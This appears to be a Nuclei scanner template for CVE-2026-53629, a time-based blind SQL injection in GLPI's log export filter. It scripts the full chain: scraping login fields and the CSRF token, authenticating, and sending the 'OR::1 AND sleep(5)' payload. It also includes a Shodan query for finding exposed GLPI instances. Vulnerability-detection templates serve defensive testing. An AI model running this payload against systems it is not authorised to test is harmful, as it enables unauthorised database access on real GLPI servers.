id: CVE-2026-53629 info: name: GLPI - Blind SQL Injection in History Log Filter (LogBleed) author: Boreas37 severity: high description: | GLPI versions before 10.0.26 and 11.0.8 are vulnerable to a blind SQL injection in the history log filter. The Log::convertFiltersValuesToSqlCriteria() function splits the affected_fields filter into key:operator:value parts and DBmysqlIterator::analyseCrit() does not quote OR, AND and NOT as column names, allowing an authenticated user with logs READ right to inject arbitrary SQL. Verified against glpi/glpi:10.0.25 (Docker + MariaDB): filter "OR::1 AND sleep(5)" produces "... AND (((((1 AND sleep(5))))))" in the query and the request takes ~5s. On 10.0.26 the same payload is rejected (~30ms). reference: - https://github.com/glpi-project/glpi/security/advisories/GHSA-cpcj-x335-5cmh classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2026-53629 epss-score: 0.0102 epss-percentile: 0.63421 cwe-id: CWE-89 metadata: max-request: 4 verified: true shodan-query: title:"Authentication - GLPI" tags: cve,cve2026,glpi,sqli,blind,time-based,authenticated flow: http(1) && http(2) && http(3) && http(4) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} matchers: - type: word part: body words: - 'id="login_name"' - '_glpi_csrf_token' condition: and internal: true extractors: - type: regex name: uname part: body internal: true group: 1 regex: - 'id="login_name" name="([^"]+)"' - type: regex name: pwd part: body internal: true group: 1 regex: - 'id="login_password" name="([^"]+)"' - type: regex name: token part: body internal: true group: 1 regex: - '_glpi_csrf_token" value="([a-f0-9]+)"' - raw: - | POST /front/login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded {{uname}}={{username}}&{{pwd}}={{password}}&_glpi_csrf_token={{token}}&submit=Login redirects: true max-redirects: 3 matchers: - type: word part: body words: - "logout.php" internal: true - raw: - | GET /front/user.form.php?id=2 HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - "status_code == 200" internal: true - raw: - | @timeout: 30s GET /front/log/export.php?itemtype=User&id=2&filter%5Baffected_fields%5D%5B0%5D=OR::1%20AND%20sleep(5) HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: dsl dsl: - "status_code == 200" - "duration >= 5" condition: and - type: word part: body words: - "ID;Date;User;Field;Update" # digest: 4a0a00473045022037ae04055d41be2d571a2c96a06e9219d02f773d6804ef0383b987ed39a3eaeb022100a79d9f0ba706fde2e746c67872c253125fc015d495978dd73b11a3ffaf80b76a:922c64590222798bb761d5b6d8e72950